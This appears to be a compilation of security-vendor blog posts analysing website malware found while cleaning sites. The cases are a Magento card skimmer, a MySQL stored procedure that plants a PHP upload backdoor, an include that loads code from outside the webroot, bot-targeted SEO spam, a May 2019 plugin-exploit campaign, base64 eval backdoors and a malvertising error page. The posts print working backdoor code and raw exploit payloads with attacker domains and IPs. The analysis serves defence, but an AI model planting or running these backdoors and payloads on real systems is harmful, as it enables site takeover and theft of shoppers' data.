CC Stealing code pretending to be Bing ads.

During a recent investigation we found this suspicious code pretending to be associated with Bing ads.After further review, we see that the code is actually injecting JavaScript from “js-mini[.]com”.The injected code is then used to capture credit card information on Magento sites and sending it to the same domain.

Here is some of the code that was loading from js-mini[.]com/ajax/libs/jquery-1.1.2.js:

You can see that the code is harvesting the login credentials and attempting to send the data to an external destination.

This code was found in the database of a Magento site under core_config_data.value, config_id = 40

It’s unknown how many credentials were harvested by this malware, but you can see how malware can be heavily obfuscated and made to look like legitimate code. If ignored, this code could have kept stealing personal data from people shopping online. We recommend making sure that your ecommerce site is up to date on all of its patches and look for any code loading from external sources, as this could be a sign of malware.

Leveraging Stored Procedures for Nefarious Purposes

Here at Sucuri, we clean thousands of websites on a daily basis, and while some of them are easy to solve, others may require more investigation in order to find the root cause.

We’re used to seeing different causes of reinfections on web sites, which can be grouped into the following types:

        1 - Reuse of passwords: This scenario occurs when credentials are leaked after a site compromise. Attackers often leverage these leaked passwords to access other systems which may be using the same password.
        2 - Site vulnerabilities: Outdated and vulnerable software are a common cause of malware infections. It is important to keep plugins, themes, and CMS’ up-to-date at all times.
        3 - Shared server infections:. This scenario occurs when multiple websites are stored on the same server or FTP account and a compromise (or infection) occurs. If one website is infected, it’s very easy for the infection to spread to every website on the server.
        4 - A backdoor is still present in your site: Even if you’ve removed any visible malware, you might still have hidden backdoors that attackers can use to compromise and reinfect your site.

Technical Details

A website reinfection was occurring after a a file was repeatedly being added to WordPress core: “wp-includes/class-wp-change.php”

We made sure that all passwords were changed and not reused, reviewed users, checked all files, and ensured the environment wasn't prone to cross-contamination. Only one thing was left to check: the database.

We came across the following data inside of a table called "foo":

"<?php if(isset($_GET['good'])){if(isset($_FILES['im'])){$dim=getcwd().'/';$im=$_FILES['im'];
@move_uploaded_file($im['tmp_name'], $dim.$im['name']);
echo\"Done: \".$dim.$im['name'];}else{?><form method=\"POST\" enctype=\"multipart/form-data\"><
input type=\"file\" name=\"im\"/><input type=\"Submit\"/></form><?php }} ?>"

As you can see, it's a PHP code which loads a form that uploads a file into the server. But how is it loaded? Since we know that foo is not part of the WordPress database structure, how is it being called?

After checking the database a little deeper, we learned that the code was part of a mysql stored procedure that had been created during the site compromise, allowing attackers to maintain access to the environment.

Once executed, the stored procedure creates the table called “foo” with the malicious code. It then dumps the content into the file ‘wp-includes/class-wp-change.php’.

BEGIN
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
INSERT INTO `foo` VALUES ("<?php if(isset($_GET['good']))et($_FILES['im'])){$dim=getcwd().'/';
$im=$_FILES['im'];@move_uploaded_file($im['tmp_name'], $dim.$im['name']);echo\"Done: $dim.$im['name'];}else{?><
form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"im\"/><
input e=\"Submit\"/></form><?php }} ?>");
SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE 
'/home/user/public_html/.website.wp-includes/class-wp-change.php';
DROP TABLE IF EXISTS `foo`;
END

Conclusion

Since it’s not a very popular feature, stored procedures can easily be overlooked by untrained professionals or inexperienced website owner. Investigating the root causes of an infection and going deeper to solve our clients problems is part of our job. If you need any assistance, please don't hesitate to find us.

Malware Infection from One Directory Up

Malicious code can reside anywhere on the site — not just in the web directory of the folder.

During a recent incident response, all pages of a customer’s site were getting redirected to random URLs, making the problem hard to isolate at first.

A good first step is to use a tool to perform an integrity check on your site's files. If you can identify that all files are good, the next step is to check the database. This isn't always an easy task, however.

The following code was found in one of the DB entries that stored PHP code for further execution:

<?php if(isset($_REQUEST['ghtre'])){include('/home/content/{USER_HOME_DIR}/1/data/wordpress'); exit;} ?>

As you can see, the code includes a file which is not in the webroot but in a directory one level up — and is missing an extension. This approach is taken to avoid detection.

The content it fetches varies the sites to which the visitor is redirected:

<?php
error_reporting(0);
$client = new Client;
if (isset($_GET["u"])) $client->proxy();
elseif (isset($_GET["chk"])) $client->check_availability();
elseif (isset($_POST["upd"])) $client->update_client();
elseif (isset($_GET["delcache"])||isset($_GET[""]))
 $client->delCache($_GET['delcache'], $_GET['delpage']);
if($content = $client->getContent()) echo $content;
else {usleep(500000); echo $client-> getContent();}
….. 

In conclusion, malware can sometimes operate from outside the web directories. For this reason, it’s very important to check and clean the entire environment to keep the site clean and avoid re-infections or cross-contaminations.

Malware-Serving Spam to Search Engine Bots

We recently discovered this malware with a list of IP ranges belonging to search engines that are serving them SEO spam. It even takes a snapshot of the website it’s on and uses that as a template so the pages look like they are a part of the website.

You can see some of the IP addresses the malware is looking for:

Here are some of the types of content being injected into the template page:

The left-side.php file contains the template taken from the main site where the malware is on:

As you can see, the malware uses special strings found in the template to know which parts to insert the spam into. The last part is a base64 encoded URL that leads to this spam(Viagra) website: hxxp://getbrowserssl[dot]xyz/tds/index.php?pl=aldactone

hxxp://thewebsite[dot]com/right-side.php?qid=2395&qcall=aldactone+mtf

This type of malware has the potential to do some lasting damage to any website, as spam pages are indexed by search engines, which can take weeks or months to drop. Page ranking and keywords might take even longer to fix, if at all.

Malware Campaign Evolves to Target New Plugins: May...

A long-lasting malware campaign targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites. Easily automated vulnerabilities are the first choice for bad actors, who typically target different, vulnerable sites during a week period — by rotating malicious domains and injected code, they can improve their chances of avoiding detection.

Plugins Under Attack: May 2019

    WP Live Chat Support
    Ultimate FAQ
    Freemius Library (Multiple plugins are affected)
    WooCommerce Extra Fields
    SupportCandy
    Yellow Pencil Visual Theme Customizer
    Social Warfare
    WordPress GDPR Compliance
    Newspaper and other old tagDiv Themes
    Easy WP SMTP
    WP Total Donations
    Yuzo Related Post

Plugin Payloads Added to the Campaign

WP Live Chat Support

103.211.219.200 - wplc_custom_js=eval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+1...skipped...105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B&wplc_save_settings=1 [21/May/2019] "POST /wp-admin/admin-ajax.php

Ultimate FAQ

51.15.51.186 - home=https%3A%2F%2Fdetectnewfavorite[.]com%2Fpoi%3Fj%3D1%26 [14/May/2019] "POST /wp-admin/admin-ajax.php?Action=EWD_UFAQ_UpdateOptions 

Freemius Library (Multiple plugins are affected)

51.15.51.186 - - [14/May] "POST /wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=home&option_value=https://detectnewfavorite[.]com/poi?j=1&

WooCommerce Extra Fields

46.105.99.163 - --cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Anm_personalizedproduct_upload_file\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22name\x22\x0D\x0A\x0D\x0Aupload.php\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0\x0D\x0AContent-Disposition: form-data; name=\x22file\x22; filename=\x22settings_auto.php\x22\x0D\x0AContent-Type: multipart/form-data\x0D\x0A\x0D\x0A\x0D\x0Askipped...;\x0D\x0A\x0D\x0A@unlink(__FILE__);\x0D\x0A?>\x0D\x0A\x0D\x0A--cf5dc1d9a5f08a640376009baccda0d0--\x0D\x0A [06/May/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1

SupportCandy

46.105.99.163 - - [06/May] "GET /wp-admin/admin-ajax.php?action=wpsc_tickets&setting_action=rb_upload_file HTTP/1.1"

Yellow Pencil Visual Theme Customizer

51.15.51.186 - yp_json_import_data=%5B%7B%22home%22%3A%22aHR0cHM6Ly9kZXRlY3RuZXdmYXZvcml0ZS5jb20vcG9pP2o9MSY%3D%22%7D%5D [14/May] "POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1

Malicious Domains and IPs:

IPs:

    185.238.0.152
    103.211.219.200
    185.212.129.164
    51.15.51.186
    185.212.128.214
    185.238.0.153
    46.105.99.163
    165.227.48.147

Malicious Domains:

    letsmakesomechoice[.]com
    garrygudini[.]com
    blackawardago[.]com
    detectnewfavorite[.]com
    myearthsongs[.]info
    traveltogandi[.]com

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Threat intelligence gathering from slight changes in malicious...

We found the following PHP backdoor in August 2018 along with other malware samples uploaded after hackers exploit a specific vulnerable WordPress plugin covered in this previous post.

<?php @file_put_contents('cleartemp','<?php '.base64_decode($_REQUEST['q'])); 
@include('cleartemp'); 
@unlink('cleartemp'); ?>

It’s a short piece of malware, but it uses the file_put_contents to create (or overwrite if already existing) a file named cleartemp. Then it inserts the PHP code that is provided by the hacker through a crafted HTTP request containing the PHP code within a string of base64 encoded text. Next, it is decoded so the PHP code can be written to the cleartemp file.

We also found a variation of the above sample within a separate file:

<?php $a = base64_decode($_POST['b']); 
$c = '/tmp/b'; file_put_contents($c,'<?php '.$a); 
include($c); 
unlink($c);

These two malware samples ultimately accomplish the same task of writing code to a specified file, the code being supplied by an HTTP request, and then including that newly written file to the current running PHP script before deleting it. Although the two samples do the same task, it’s important to analyze the changes as it can help to show us how hackers are reacting to existing security controls and what they are doing to evade these security controls when they are encountered.

After analyzing the code from both samples, we can see the following:

They stopped using the @ error control operator which silences any errors that may be generated by the malicious code and helps aides in evading detection, but at the cost of the code being more likely to trigger scanning signatures.
They have moved to using variables ($a and $c) to store the filename and payload delivery used in the file_put_contents function. This can be helpful in evading detection by a scanner’s signatures or just human analysis as using a variable name like $a is less suspicious than directly including base64_decode($_POST[ code.

Although the coding changes between the two malware samples were not major, they were sufficient enough so that the second malware sample was able to avoid detection by online scanning tools after the first sample was already being detected. This makes it a good example in showing how analysis of the changes in a malware’s code can help reveal how the threat/malware operator is responding to existing security measures. This allows us to make better security tools with the knowledge of knowing how the threat/malware operator has responded in the past.

Hosting page templates causing your website ad campaign...

It's quite common that hosting providers have templates set for pages like 40x and 50x error pages but it's uncommon for those templates to have ads in them, or even worse, having malvertising that will blacklist your site.

On a recent case, we came across a scenario where Google AdWords was blocking a campaign of a website due to URLs from www[.]iyfipgun[.]com.

Upon closer inspection the URLs were coming from the template that the hosting provider had set for the 404 Not Found pages.This was the code:

<!DOCTYPE HTML>
<html>

    <head>
        <title>404 Error - Page Not Found</title>
        <style>
            #ad_frame{ height:800px; width:100%; }
            body{ margin:0; border: 0; padding: 0; }
        </style>
        <script src="//ajax.googleapis[.]com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
        <script type="text/javascript" language="JavaScript">
            var url = 'hxxp://www[.]iyfipgun[.]com/?dn='
                + document.domain + '&pid=9POL6F2H4';

            $(document).ready(function() {
                $('#ad_frame').attr('src', url);
            });
        </script>
    </head>
    <body>
        <iframe id="ad_frame" src="hxxp://www[.]iyfipgun[.]com/"
            frameborder="0" scrolling="no">

            <!-- browser does not support iframe's -->

        </iframe>
    </body>

 </html>

If you are experiencing a similar report from any external providers such as AdWords, the template pages are the best place to start your investigation.

If this is indeed proven the culprit, a quick fix is to just force your own handle for certain pages on the .htaccess file such as:

ErrorDocument 404 "not found"

This means that it will simply display “not found” instead of showing the template page.